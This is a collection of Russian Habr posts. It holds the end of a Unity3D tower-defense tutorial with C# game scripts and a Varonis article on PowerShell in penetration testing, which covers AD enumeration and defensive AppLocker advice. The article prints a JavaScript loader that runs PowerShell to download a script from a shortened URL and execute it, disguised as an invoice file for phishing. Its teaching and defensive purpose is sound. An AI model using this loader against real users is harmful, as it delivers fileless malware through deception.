public float attackMinimumDistance = 5.0f;
public float attackDamage = 10.0f; //урон
public float reloadTimer = 2.5f; //задержка между выстрелами, изменяемое значение
public const float reloadCooldown = 2.5f; //задержка между выстрелами, константа
public float rotationSpeed = 1.5f; //множитель скорости вращения башни
public int FiringOrder = 1; //очередность стрельбы для стволов (у нас же их 2)
public Transform turretHead;
public RaycastHit Hit;
//используем этот метод для инициализации
private void Start()
{
turretHead = transform.Find("pushka"); //находим башню в иерархии частей модели
}
//а этот метод вызывается каждый фрейм
private void Update()
{
if (curTarget != null) //если переменная текущей цели не пустая
{
float distance = Vector3.Distance(turretHead.position, curTarget.transform.position); //меряем дистанцию до нее
if (attackMinimumDistance < distance && distance < attackMaximumDistance) //если дистанция больше мертвой зоны и меньше дистанции поражения пушки
{
turretHead.rotation = Quaternion.Slerp(turretHead.rotation, Quaternion.LookRotation(curTarget.transform.position - turretHead.position), rotationSpeed * Time.deltaTime); //вращаем башню в сторону цели
if (reloadTimer > 0) reloadTimer -= Time.deltaTime; //если таймер перезарядки больше нуля - отнимаем его
if (reloadTimer < 0) reloadTimer = 0; //если он стал меньше нуля - устанавливаем его в ноль
if (reloadTimer == 0) //став нулем
{
MobHP mhp = curTarget.GetComponent();
switch (FiringOrder) //смотрим, из какого ствола стрелять
{
case 1:
Debug.Log("Стреляет первый ствол"); //пишем в консоль
FiringOrder++; //увеличиваем FiringOrder на 1
break;
case 2:
Debug.Log("Стреляет второй ствол"); //пишем в консоль
FiringOrder = 1; //устанавливаем FiringOrder в изначальную позицию
break;
}
reloadTimer = reloadCooldown; //возвращаем переменной задержки её первоначальное значение из константы
}
}
}
else //иначе
{
curTarget = SortTargets(); //сортируем цели и получаем новую
}
}
//Очень примитивный метод сортировки целей, море возможностей для модификации!
public GameObject SortTargets()
{
float closestMobDistance = 0; //инициализация переменной для проверки дистанции до моба
GameObject nearestmob = null; //инициализация переменной ближайшего моба
List sortingMobs = GameObject.FindGameObjectsWithTag("Monster").ToList(); //находим всех мобов с тегом Monster и создаём массив для сортировки
foreach (var everyTarget in sortingMobs) //для каждого моба в массиве
{
//если дистанция до моба меньше, чем closestMobDistance или равна нулю
if ((Vector3.Distance(everyTarget.transform.position, turretHead.position) < closestMobDistance) || closestMobDistance == 0)
{
closestMobDistance = Vector3.Distance(everyTarget.transform.position, turretHead.position); //Меряем дистанцию от моба до пушки, записываем её в переменную
nearestmob = everyTarget;//устанавливаем его как ближайшего
}
}
return nearestmob; //возвращаем ближайшего моба
}
}
```
Комментарии, думаю, довольно ясно описывают код. Единственным непонятным может показаться такой монстр, как кватернион. Не стесняйтесь, погуглите, почитайте, эта тема не всем легко даётся. А [здесь](http://unity3d.com/support/documentation/ScriptReference/Quaternion.html) можно почитать про кватернионы в Unity3D на их же сайте.
Сохраните изменения и переключитесь назад на Unity3D.
Чтобы «натянуть» наш свеженаписанный скрипт на пушку, нужно перетащить файл скрипта прямо на её префаб. После этого, если нажать на префаб пушки — в инспекторе свойств появится раздел с нашим скриптом, где можно настраивать все public поля в коде!

Далее, для теста нашего кода, нам нужно приделать тег Monster к нашему монстру. Нажмите на него в Project, затем посмотрите на Инспектор объекта: в верхней его части есть выпадающее поле Tag, сейчас там стоит значение Untagged. Нажимаем на этот список и в нижней его части жмём Add tag.

Разворачиваем список Tags, и в поле Element 0 пишем «Monster» (без кавычек, как на скрине).

Опять нажимаем на нашего монстра, опять разворачиваем список возможных тегов — среди них будет и Monster. Выбираем его.
#### Школа начинающего моба
До сих пор наши мобы были просто объектами, но теперь мы научим их ползти к пушке и наносить ей радость, счастье и, прежде всего, урон.
Уже известным способом создаём новые C# скрипты: MobAI, GlobalVars, MobHP, TurretHP, SpawnerAI. Начнём по порядку:
**MobAI.cs**
```
using UnityEngine;
using System.Collections.Generic;
public class MobAI : MonoBehaviour
{
public GameObject Target; //текущая цель
public float mobPrice = 5.0f; //цена за убийство моба
public float mobMinSpeed = 0.5f; //минимальная скорость моба
public float mobMaxSpeed = 2.0f; //максимальная скорость моба
public float mobRotationSpeed = 2.5f; //скорость поворота моба
public float attackDistance = 5.0f; //дистанция атаки
public float damage = 5; //урон, наносимый мобом
public float attackTimer = 0.0f; //переменная расчета задержки между ударами
public const float coolDown = 2.0f; //константа, используется для сброса таймера атаки в начальное значение
private float MobCurrentSpeed; //скорость моба, инициализируем позже
private Transform mob; //переменная для трансформа моба
private GlobalVars gv; //поле для объекта глобальных переменных
private void Awake()
{
gv = GameObject.Find("GlobalVars").GetComponent(); //инициализируем поле
mob = transform; //присваиваем трансформ моба в переменную (повышает производительность)
MobCurrentSpeed = Random.Range(mobMinSpeed, mobMaxSpeed); //посредством рандома выбираем скорость между минимально и максимально указанной
}
private void Update()
{
if (Target == null) //если цели ещё нет
{
Target = SortTargets(); //пытаемся достать её из общего списка
}
else //если у нас есть цель
{
mob.rotation = Quaternion.Lerp(mob.rotation, Quaternion.LookRotation(new Vector3(Target.transform.position.x, 0.0f, Target.transform.position.z) - new Vector3(mob.position.x, 0.0f, mob.position.z)), mobRotationSpeed); //избушка-избушка, повернись к пушке передом!
mob.position += mob.forward \* MobCurrentSpeed \* Time.deltaTime; //двигаем в сторону, куда смотрит моб
float distance = Vector3.Distance(Target.transform.position, mob.position); //меряем дистанцию до цели
Vector3 structDirection = (Target.transform.position - mob.position).normalized; //получаем вектор направления
float attackDirection = Vector3.Dot(structDirection, mob.forward); //получаем вектор атаки
if (distance < attackDistance && attackDirection > 0) //если мы на дистанции атаки и цель перед нами
{
if (attackTimer > 0) attackTimer -= Time.deltaTime; //если таймер атаки больше 0 - отнимаем его
if (attackTimer <= 0) //если же он стал меньше нуля или равен ему
{
TurretHP thp = Target.GetComponent(); //подключаемся к компоненту ХП цели
if (thp != null) thp.ChangeHP(-damage); //если цель ещё живая, наносим дамаг (мы можем не одни бить по цели, потому проверка необходима)
attackTimer = coolDown; //возвращаем таймер в исходное положение
}
}
}
}
//Очень примитивный метод сортировки целей, море возможностей для модификации!
private GameObject SortTargets()
{
float closestTurretDistance = 0; //инициализация переменной для проверки дистанции до пушки
GameObject nearestTurret = null; //инициализация переменной ближайшей пушки
List sortingTurrets = gv.TurretList; //оздаём массив для сортировки
foreach (var turret in sortingTurrets) //для каждой пушки в массиве
{
//если дистанция до пушки меньше, чем closestTurretDistance или равна нулю
if ((Vector3.Distance(mob.position, turret.transform.position) < closestTurretDistance) || closestTurretDistance == 0)
{
closestTurretDistance = Vector3.Distance(mob.position, turret.transform.position); //Меряем дистанцию от моба до пушки, записываем её в переменную
nearestTurret = turret;//устанавливаем её как ближайшего
}
}
return nearestTurret; //возвращаем ближайший ствол
}
}
```
**GlobalVars.cs** — класс глобальных переменных
```
using System.Collections.Generic;
using UnityEngine;
public class GlobalVars : MonoBehaviour
{
public List MobList = new List(); //массив мобов в игре
public int MobCount = 0; //счетчик мобов в игре
public List TurretList = new List(); //массив пушек в игре
public int TurretCount = 0; //счетчик пушек в игре
public float PlayerMoney = 200.0f; //деньги игрока
}
```
**MobHP.cs**
```
using UnityEngine;
public class MobHP : MonoBehaviour
{
public float maxHP = 100; //Максимум ХП
public float curHP = 100; //Текущее ХП
public Color MaxDamageColor = Color.red; //цвета полностью побитого
public Color MinDamageColor = Color.blue; //и целого моба
private GlobalVars gv; //поле для объекта глобальных переменных
private void Awake()
{
gv = GameObject.Find("GlobalVars").GetComponent(); //инициализируем поле
if (gv != null)
{
gv.MobList.Add(gameObject); //добавляем себя в общий лист мобов
gv.MobCount++; //увеличиваем счетчик мобов
}
if (maxHP < 1) maxHP = 1; //если максимальное хп задано менее единицы - ставим единицу
}
public void ChangeHP(float adjust) //метод корректировки ХП моба
{
if ((curHP + adjust) > maxHP) curHP = maxHP;//если сумма текущего ХП и adjust в результате более, чем максимальное хп - текущее ХП становится равным максимальному
else curHP += adjust; //иначе просто добавляем adjust
}
private void Update()
{
gameObject.renderer.material.color = Color.Lerp(MaxDamageColor, MinDamageColor, curHP / maxHP); //Лерпим цвет моба по заданным в начале цветам. В примере: красный - моб почти полностью убит, синий - целый.
if (curHP <= 0) //если ХП упало в ноль или ниже
{
MobAI mai = gameObject.GetComponent(); //подключаемся к компоненту AI моба
if (mai != null && gv != null) gv.PlayerMoney += mai.mobPrice; //если он существует - добавляем денег игроку в размере цены за голову моба
Destroy(gameObject); //удаляем себя
}
}
private void OnDestroy() //при удалении
{
if (gv != null)
{
gv.MobList.Remove(gameObject); //удаляем себя из глобального списка мобов
gv.MobCount--; //уменьшаем глобальный счетчик мобов на 1
}
}
}
```
А следующий класс я не комментировал, он почти полная копия MobHP, за некоторыми различиями (например, ему не надо лерпить свой цвет).
**TurretHP.cs**
```
using UnityEngine;
public class TurretHP : MonoBehaviour
{
public float maxHP = 100; //Максимум ХП
public float curHP = 100; //Текущее ХП
private GlobalVars gv; //поле для объекта глобальных переменных
private void Awake()
{
gv = GameObject.Find("GlobalVars").GetComponent(); //инициализируем поле
if (gv != null)
{
gv.TurretList.Add(gameObject);
gv.TurretCount++;
}
if (maxHP < 1) maxHP = 1;
}
public void ChangeHP(float adjust)
{
if ((curHP + adjust) > maxHP) curHP = maxHP;
else curHP += adjust;
if (curHP > maxHP) curHP = maxHP;
}
private void Update()
{
if (curHP <= 0)
{
Destroy(gameObject);
}
}
private void OnDestroy()
{
if (gv != null)
{
gv.TurretList.Remove(gameObject);
gv.TurretCount--;
}
}
}
```
**SpawnerAI.cs**
```
using UnityEngine;
public class SpawnerAI : MonoBehaviour
{
public int waveAmount = 5; //Количество мобов за 1 волну на каждой точке спауна
public int waveNumber = 0; //переменная текущей волны
public float waveDelayTimer = 30.0F; //переменная таймера спауна волны
public float waveCooldown = 20.0F; //переменная (не константа уже!) для сброса таймера выше, мы её будем модифицировать
public int maximumWaves = 500; //максимальное количество мобов в игре
public Transform Mob; //переменная для загрузки префаба в Unity
public GameObject[] SpawnPoints; //массив точек спауна
private GlobalVars gv; //поле для объекта глобальных переменных
private void Awake()
{
SpawnPoints = GameObject.FindGameObjectsWithTag("Spawnpoint"); //забираем все точки спауна в массив
gv = GameObject.Find("GlobalVars").GetComponent(); //инициализируем поле
}
private void Update()
{
if (waveDelayTimer > 0) //если таймеh спауна волны больше нуля
{
if (gv != null)
{
if (gv.MobCount == 0) waveDelayTimer = 0; //если мобов на сцене нет - устанавливаем его в ноль
else waveDelayTimer -= Time.deltaTime; //иначе отнимаем таймер
}
}
if (waveDelayTimer <= 0) //если таймер менее или равен нулю
{
if (SpawnPoints != null && waveNumber < maximumWaves) //если имеются точки спауна и ещё не достигнут предел количества волн
{
foreach (GameObject spawnPoint in SpawnPoints) //на каждой точке спауна
{
for (int i = 0; i < waveAmount; i++) //используем i как модификатор для спауна, чтобы мобы не были в упор друг к другу
{
Instantiate(Mob, new Vector3(spawnPoint.transform.position.x, spawnPoint.transform.position.y, spawnPoint.transform.position.z + i \* 10), Quaternion.identity); //спауним моба
}
if (waveCooldown > 5.0f) //если задержка длится более 5 секунд
{
waveCooldown -= 0.1f; //сокращаем на 0.1 секунды
waveDelayTimer = waveCooldown; //задаём новый таймер
}
else //иначе
{
waveCooldown = 5.0f; //задержка никогда не будет менее 5 секунд
waveDelayTimer = waveCooldown;
}
if (waveNumber >= 50) //после 50 волны
{
waveAmount = 10; //будем спаунить по 10 мобов на каждой точке
}
}
waveNumber++; //увеличиваем номер волны
}
}
}
}
```
А теперь необходимо поправить код AI пушки. Найдите там switch (FiringOrder) и замените весь блок полностью на такой:
```
switch (FiringOrder) //смотрим, из какого ствола стрелять
{
case 1:
if (mhp != null) mhp.ChangeHP(-attackDamage); //наносим дамаг цели
FiringOrder++; //увеличиваем FiringOrder на 1
break;
case 2:
if (mhp != null) mhp.ChangeHP(-attackDamage); //наносим дамаг цели
FiringOrder = 1; //устанавливаем FiringOrder в изначальную позицию
break;
}
```
Также необходимо заменить в самом конце этого же класса строчку
```
return nearestmob;
```
на такую
```
return closestMobDistance > attackMaximumDistance ? null : nearestmob;
```
Это называется «тернарный оператор». Если условие до знака "?" верно — то оно вернёт null, иначе вернётся nearestmob. Смысл выражения в том, что пушка не схватит цель, до которой не может достать.
В целом, код готов. Теперь надо подготовить игровые объекты. Создайте объект MobSpawner, его местоположение не играет роли, лишь бы не мешался в дальнейшем. Повесьте на него скрипт SpawnerAI и выставьте желаемые значения переменных. На значение переменной Mob перетягиваем наш префаб моба.

Спаунер более не трогаем.
Создайте объект с именем GlobalVars и перетащите на него одноименный скрипт, укажите стартовое количество денег у игрока.
Далее, создайте нужное количество объектов (для удобства именуйте в духе «имя\_порядковыйНомер») для точек спауна и разместите их в желаемых местах спауна мобов. Присвойте им тег Spawnpoint, а заодно создайте тег Turret и присвойте его префабу пушки.
Повесьте на мобов наши 2 скрипта MobAI и MobHP, а на пушку — TurretHP. Не забывайте побаловаться со значениями переменных.
На значение target в MobAI префаб пушки перетягивать не надо, AI сам ищет цели. Очень примитивно, медленно, но ищет.
Добавьте компонент Rigidbody на префаб монстра (Component -> Physics -> Rigidbody).

#### ПоторGUIем?
Для создания GUI нам понадобится новый C# скрипт с названием Graphic:
**Graphic.cs**
```
using UnityEngine;
public class Graphic : MonoBehaviour
{
private GlobalVars gv; //поле для объекта глобальных переменных
public Rect buyMenu; //квадрат меню покупки
public Rect firstTower; //квадрат кнопки покупки первой башни
public Rect secondTower; //квадрат кнопки покупки второй башни
public Rect thirdTower; //квадрат кнопки покупки третьей башни
public Rect fourthTower; //квадрат кнопки покупки четвёртой башни
public Rect fifthTower; //квадрат кнопки покупки пятой башни
public Rect towerMenu; //квадрат сервисного меню башни (продать/обновить)
public Rect towerMenuSellTower; //квадрат кнопки продажи башни
public Rect towerMenuUpgradeTower; //квадрат кнопки апгрейда башни
public Rect playerStats; //квадрат статистики игрока
public Rect playerStatsPlayerMoney; //квадрат зоны отображения денег игрока
public GameObject plasmaTower; //префаб первой пушки, необходимо назначить в инспекторе
public GameObject plasmaTowerGhost; //призрак первой пушки, необходимо назначить в инспекторе
private RaycastHit hit; //переменная для рейкаста
public LayerMask raycastLayers = 1; //а это вам маленькое Д/З - узнать, что это делает
private GameObject ghost; //переменная для призрака устанавливаемой пушки
private void Awake()
{
gv = GameObject.Find("GlobalVars").GetComponent(); //инициализируем поле
if (gv == null) Debug.LogWarning("gv variable is not initialized correctly in " + this); //сообщим об ошибке, если gv пуста
buyMenu = new Rect(Screen.width - 185.0f, 10.0f, 175.0f, Screen.height - 100.0f); //задаём размеры квадратов, последовательно позиция X, Y, Ширина, Высота. X и Y указывают на левый верхний угол объекта
firstTower = new Rect(buyMenu.x + 12.5f, buyMenu.y + 30.0f, 150.0f, 50.0f);
secondTower = new Rect(firstTower.x, buyMenu.y + 90.0f, 150.0f, 50.0f);
thirdTower = new Rect(firstTower.x, buyMenu.y + 150.0f, 150.0f, 50.0f);
fourthTower = new Rect(firstTower.x, buyMenu.y + 210.0f, 150.0f, 50.0f);
fifthTower = new Rect(firstTower.x, buyMenu.y + 270.0f, 150.0f, 50.0f);
playerStats = new Rect(10.0f, 10.0f, 150.0f, 100.0f);
playerStatsPlayerMoney = new Rect(playerStats.x + 12.5f, playerStats.y + 30.0f, 125.0f, 25.0f);
towerMenu = new Rect(10.0f, Screen.height - 60.0f, 400.0f, 50.0f);
towerMenuSellTower = new Rect(towerMenu.x + 12.5f, towerMenu.y + 20.0f, 75.0f, 25.0f);
towerMenuUpgradeTower = new Rect(towerMenuSellTower.x + 5.0f + towerMenuSellTower.width, towerMenuSellTower.y, 75.0f, 25.0f);
}
private void Update()
{
switch (gv.mau5tate) //свитчим состояние курсора мыши
{
case GlobalVars.ClickState.Placing: //если он в режиме установки башен
{
if (ghost == null) ghost = Instantiate(plasmaTowerGhost) as GameObject; //если переменная призрака пустая - создаём в ней объект призрака башни
else //иначе
{
Ray scrRay = Camera.main.ScreenPointToRay(Input.mousePosition); //создаём луч, бьющий от координат мыши по координатам в игре
if (Physics.Raycast(scrRay, out hit, Mathf.Infinity, raycastLayers)) // бьём этим лучем в заданном выше направлении (т.е. в землю)
{
Quaternion normana = Quaternion.FromToRotation(Vector3.up, hit.normal); //получаем нормаль от столкновения
ghost.transform.position = hit.point; //задаём позицию призрака равной позиции точки удара луча по земле
ghost.transform.rotation = normana; //тоже самое и с вращением, только не от точки, а от нормали
if (Input.GetMouseButtonDown(0)) //при нажатии ЛКМ
{
GameObject tower = Instantiate(plasmaTower, ghost.transform.position, ghost.transform.rotation) as GameObject; //Спауним башенку на позиции призрака
if (tower != null) gv.PlayerMoney -= tower.GetComponent().towerPrice; //отнимаем лаве за башню
Destroy(ghost); //уничтожаем призрак башни
gv.mau5tate = GlobalVars.ClickState.Default; //меняем глобальное состояние мыши на обычное
}
}
}
break;
}
}
}
private void OnGUI()
{
GUI.Box(buyMenu, "Buying menu"); //Делаем гуевский бокс на квадрате buyMenu с заголовком, указанным между ""
if (GUI.Button(firstTower, "Plasma Tower\n100$")) //если идёт нажатие на первую кнопку
{
gv.mau5tate = GlobalVars.ClickState.Placing; //меняем глобальное состояние мыши
}
if (GUI.Button(secondTower, "Pulse Tower\n155$")) //с остальными аналогично
{
//action here
}
if (GUI.Button(thirdTower, "Beam Tower\n250$"))
{
//action here
}
if (GUI.Button(fourthTower, "Tesla Tower\n375$"))
{
//action here
}
if (GUI.Button(fifthTower, "Artillery Tower\n500$"))
{
//action here
}
GUI.Box(playerStats, "Player Stats");
GUI.Label(playerStatsPlayerMoney, "Money: " + gv.PlayerMoney + "$");
GUI.Box(towerMenu, "Tower menu");
if (GUI.Button(towerMenuSellTower, "Sell"))
{
//action here
}
if (GUI.Button(towerMenuUpgradeTower, "Upgrade"))
{
//action here
}
}
}
```
Ах да, теперь нам ещё нужно неплохо изменить скрипт GlobalVars:
**GlobalVars.cs**
```
using System.Collections.Generic;
using UnityEngine;
public class GlobalVars : MonoBehaviour
{
public List MobList = new List(); //массив мобов в игре
public int MobCount = 0; //счетчик мобов в игре
public List TurretList = new List(); //массив пушек в игре
public int TurretCount = 0; //счетчик пушек в игре
public float PlayerMoney; //деньги игрока
public ClickState mau5tate = ClickState.Default; //дефолтное состояние курсора
public enum ClickState //перечисление всех состояний курсора
{
Default,
Placing,
Selling,
Upgrading
}
public void Awake()
{
PlayerMoney = PlayerPrefs.GetFloat("Player Money", 200.0f); //при старте игры, если нету сохранённых данных про деньги игрока - их становится 200$, иначе загружается из реестра
}
public void OnApplicationQuit()
{
PlayerPrefs.SetFloat("Player Money", PlayerMoney); //сохраняет деньги игрока при выходе
PlayerPrefs.Save();
}
}
```
Далее, нам надо создать призрак пушки, а делается это довольно легко: дублируем пушку, закидываем в неё какой-либо пустой ГО, удаляем его и пушка отвязывается от своего префаба, главное в него же не сохранить! Далее проходимся по всей иерархии объектов внутри пушки и меняем попавшиеся шейдеры на Transparent Diffuse. Кстати, чтобы увидеть абсолютно всю структуру пушки — её необходимо поместить на сцену и раскрывать иерархию уже там. ~~Если возникнут проблемы с созданием призрака — выложу уже готовый.~~ У некоторых всё же возникли — ссылка на скачку пакета [здесь](https://ionpri.me/td/tower_ghost.unitypackage) (3,7 мб).
Теоретически должно работать. Конечно, есть косяки и самый явный из них — необходимость писать код механизма спауна пушек на каждое состояние — это исправляется созданием своего метода с перегрузками в виде состояний и разборе оных уже внутри метода, но это уже оптимизация кода, которой нужно заниматься сразу ибо продуманный код позволяет легко править себя под внезапно возникшие идеи.
И хотя эта часть урока не очень длинная, но зато самая важная в реализации и понимании работы основных механизмов игры.
И если у вас всё получилось правильно, то выглядеть это будет примерно так:
Продолжение следует!
**26.07.2012**: Исправил ошибки в коде
**14.05.2018**: Починил битые ссылки | https://habr.com/ru/post/148410/ | null | ru | null |
# PowerShell в роли инструмента для пентеста: скрипты и примеры от Varonis

Хакеры любят использовать PowerShell для запуска «fileless malware» — бестелесных вредоносных программ, которые не являются традиционными бинарными файлами с компилированным вредоносным кодом, и по этой причине подчас не могут быть обнаружены антивирусными решениями.
PowerShell, конечно же, всегда имел вполне нормальное предназначение, никак поначалу вообще не связанное с тестированием на проникновение. Те из вас, кто захочет узнать предысторию появления на свет PowerShell, должны почитать знаменитый [Манифест Монады](https://devblogs.microsoft.com/powershell/monad-manifesto-the-origin-of-windows-powershell/). Написанный одним из первоначальных разработчиков, этот манифест объясняет, зачем Microsoft потребовался новый язык описания сценариев (проще говоря, скриптов), который в конечном итоге и превратился в PowerShell.
Чтобы избавить вас от необходимости просматривать длиннющий 17-страничный документ, я вам открою главный мотивирующий фактор, побудивший авторов PowerShell: он должен был предоставить системным администраторам доступ к объектам .Net из командной строки, позволив таким образом автоматизировать рабочий процесс на уровне системы, а не на уровне глубокого программирования в C# или C++.
Если вы хотите получить реальные доказательства эффективности PowerShell (далее – PS), спросите своих системных администраторов, как они массово добавляют пользователей в Active Directory или выполняют быструю настройку безопасности. Скорее всего, вы узнаете про [решения на PowerShell](https://gallery.technet.microsoft.com/scriptcenter/ffff189d-8ef1-4903-b19c-12dcd352c88e). Короче говоря: PS — это шикарный способ снижения рутины и повышения производительности для администраторов.
Зачем же использовать PowerShell для пентестов?
-----------------------------------------------
К сожалению, то, что так хорошо подходит в качестве мощного инструмента автоматизации для администраторов, в конечном счете оказывается полезным как для хакеров, так и для тестировщиков на проникновение.
Предположим, ИТ-администратору была поставлена задача выяснить, кто на самом деле использует недостаточно загруженный сервер. С помощью PowerShell и библиотеки дополнительных функций [PowerView](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView), системный администратор может быстро просматривать пользователей, вошедших на сервер*, без необходимости* быть залогиненным самому на этом сервере:

Тем не менее, злоумышленники, которые ранее получили доступ через фишинговую атаку, также cмогут проделать то же самое, т.к. они могут использовать те же возможности, находясь в домене Active Directory (далее — AD). И их деятельность совсем не обязательно будет обнаружена: ИБ-аналитик, отслеживающий использование приложений, может прийти к выводу, что, поскольку *«это просто PowerShell, он должен быть безвредным»*.
Чтобы усугубить этот пример еще больше, хакеры смогут даже получить всю подробную информацию об отдельных пользователях с помощью команды Get-NetUser, которая сдампит все атрибуты пользователя в AD:

К сожалению, компании подчас небрежно относятся к атрибутам AD, которые они делают общедоступными для всех сотрудников — например, домашний или мобильный телефон, адрес и т.п. До появления PowerShell было намного сложнее собрать все эти данные из AD, но это уже давно не так!
Что злоумышленники могут сделать с этой информацией? Они могут легко воспользоваться способами *социальной инженерии* и разработать для этого атаку: возможно, отправив
электронное письмо с достаточным количеством личного контекста, полученного из AD-атрибутов, чтобы оно выглядело как легитимный запрос службы поддержки с просьбой «сбросить пароль».
Кстати, вы можете применить контроль ACL и к атрибутам AD, так что есть(!) способ снизить риск атак подобного типа. И это один из тех положительных результатов, которые вы можете получить из собственного опыта по тестированию на проникновение.

Краткий курс PowerShell для пентестеров
---------------------------------------
С помощью PowerShell злоумышленники могут незаметно собирать внутренние пользовательские данные и затем использовать их в своих атаках. Но нет причин, по которым сотрудники ИТ или ИБ-служб не могут также освоить PowerShell в достаточной степени, чтобы начать собственное тестирование и научиться понимать образ мыслей и мотивы хакера.
Первый приятный момент с PowerShell кроется в том, что все старые скрипты и bat-файлы, которые вы запускали из командной строки cmd.exe по-прежнему работают в консоли PowerShell. Уже неплохо, не правда ли?
Следующим важным моментом является то, что в отличие от Linux-подобных оболочек, PowerShell рассматривает все как *объект*. Даже вывод команды (задумайтесь только) — это тоже объект.
Например, введите команду [Get-ChildItem](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-6) (или командлет по-другому, так команды называются в мире PS) в консоль, и вы увидите список файлов текущего каталога:

### Кодирование с помощью PowerShell
Предположим, вы хотите написать сценарий PS, в котором выводятся только файлы *размером свыше 10 МБ* — например, чтобы быстро проверить, какие файлы занимают много места. Эта задача будет намного сложнее для решения в строковом выводе, скажем, оболочки bash. Однако, в PowerShell вывод любой команды сам по себе является объектом с набором *атрибутов*.
Чтобы увидеть это, просто передайте вывод GetChildItem в [Get-Member](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-member?view=powershell-6), который сообщит вам атрибуты PS командлета:

Итак, теперь у нас есть идентификаторы для двух интересующих нас атрибутов: длина «length» и название «name», на которые мы можем ссылаться программно. 5 минут — полет нормальный.
Чтобы справиться с частой ситуацией, когда объекты порой находятся в массивах или коллекциях, мы будем использовать PS-оператор *ForEach* для итерации по массиву.
Чтобы сделать вещи еще проще, псевдоним или альяс "%" означает «ForEach», а "$\_«представляет текущий объект.
### Выполнение команд с помощью PowerShell
Давайте получим наши два столбца вывода из команды GetChildItem на основе наших новых знаний. Пример ниже представляет собой конвейер с Get-ChildItem, подающий ввод на оператор ForEach, который выводит только значения атрибутов „length“ и „name“:
```
get-childitem | % {write-host $_.length $_.name -separator
"`t`t"}
```
И вот результат запуска команд:

Чтобы закончить наш шикарный пример, давайте донастроим наш скрипт, чтобы выводить только большие файлы, скажем, больше 10МБ. Для этого мы используем фильтр, известный как командлет [Where-Object](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-6) с удобным псевдонимом »?". Он имеет все обычные операторы сравнения (-gt, -eq, -lt, и т.д.). Мы вставляем его в середину конвейера и наш скрипт теперь выглядит так:
```
get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}
```
В качестве упражнения попробуйте запустить вышеуказанное PS-творение в своей собственной среде.
Пособие: Пример тестирования на проникновение на PowerShell
-----------------------------------------------------------
С этим небольшим опытом работы в PowerShell мы готовы взяться за вполне реальный пример пентеста. Один из самых быстрых способов попасть в пентестинг — это использовать PowerShell для сокрытия полезной нагрузки. Мы писали о том, как [это сделать здесь](https://www.varonis.com/blog/understanding-malware-free-hacking-part/).
Идея состоит в том, чтобы спрятать наш код PowerShell в стандартный офисный документ с суффиксом .doc. На самом деле, файл будет иметь расширение .js, и при нажатии активирует [запуск сценария Windows](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript) для запуска JavaScript, который уже затем запустит встроенный код PowerShell.
Немного сбивает с толку, верно? Но реальные хакеры используют не один, а несколько уровней вложенности и обфускации, чтобы максимально скрыть и запутать свою атаку.
### Подготовка загрузчика и полезной нагрузки
Вот как выглядит скрипт:
```
a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);
```
Вы вставляете приведенный выше код в текстовый файл и переименовываете его в что-то вроде *Счет-фактура.doc.js*. Приведенный выше JavaScript действует как загрузчик, который запускается с помощью встроенных командлетов PowerShell [NetWebClient](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8) и [Invoke-Expression](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6), которые сами по себе псевдонимы с "%".
Метод [DownloadString](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=netframework-4.8) из командлета NetWebClient удаленно извлекает фактическую полезную нагрузку, которая в конечном итоге сделает за нас всю грязную работу.
Вы можете вставить свой URL-адрес, указывающий на вашу собственную тестовую программу. Ну а командлет Invoke-Expression принимает на вход код нашего вредоносного файла и затем выполняет его.
### Проверьте это!
В моем случае URL-адрес указывает на проект Github, содержащий простую команду PS Write-Host, которая выведет на экран безвредное, но важное сообщение для всего человечества. В реальной атаке файл такого сценария вполне может быть прикреплен к фишинговой рассылке, которая заманит ничего не подозревающего сотрудника в капкан любопытности. И полезная нагрузка будет гораздо более разрушительной.

Вы можете попробовать это на своей собственной установке. И если все рассмотренное выше успешно заработает, то у вас есть еще одно срочное и важное задание, которое непременно необходимо проделать.
Преимущества тестирования на проникновение
------------------------------------------

Это приводит нас к причинам, по которым мы делаем тестирование на проникновение. Вот три реальных преимущества, которые первыми приходят на ум:
1. Изучая команды PowerShell как пентестер, вы поймете, как хакеры «взламывают» этот чудесный язык сценариев следующего поколения. Просто обдумайте комбинацию метода DownloadString и Invoke-Expression, позволяя злоумышленникам извлекать удаленный вредоносный код на сайт жертвы *без* необходимости его промежуточного сохранения.
2. Это упражнение также подчеркивает скрытность современного хакера. Я показал в приведенном выше примере схему атаки, которая не оставляет никаких файлов вокруг. Таким образом, вы не можете использовать стандартные методы на основе сигнатур для надежного обнаружения атаки, выполненной с помощью PowerShell. Банально, у нас нет самой сигнатуры вредоносного ПО для сравнения.
3. Вы, вероятно, начнете изучать способы *ограничения* PowerShell и других методов на основе сценариев. В конце концов, атака начинается со скрипта, поэтому, если компании затрудняют запуск скриптов, они смогут значительно сократить свой профиль риска.
Позвольте мне подробнее остановиться на последнем пункте. Вы, скорее всего, не захотите полностью запрещать PowerShell (или JavaScript), так как это фундаментальная часть системного программного обеспечения Windows. К счастью, у Microsoft есть способ выборочно отключать сценарии (и другие исполняемые файлы) через [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) , улучшенную версию старых Политик Ограничения Программного обеспечения (Software Restriction Policies) в современных Групповых Политиках (GPO).
Это может показаться невероятным для технических специалистов, но большинству обычных пользователей не нужен PowerShell или другие скриптовые языки для выполнения своей повседневной работы. Это, конечно же, шокирует, я знаю! AppLocker, например, возможно настроить для отключения доступа PowerShell для масс, при этом позволяя системным администраторам по-прежнему выполнять свою тяжелую работу.
Атаки на основе скриптов, в том числе связанные с вложением в электронную почту, рассчитывают на то, что администраторы, как правило, предоставляют сотрудникам чрезмерно широкие разрешения на скрипты. А это не должно быть так! | https://habr.com/ru/post/471420/ | null | ru | null |
# Идеи о новых возможностях обычного/параллельного программирования (расширение C++)
Здравствуйте, уважаемые читатели.
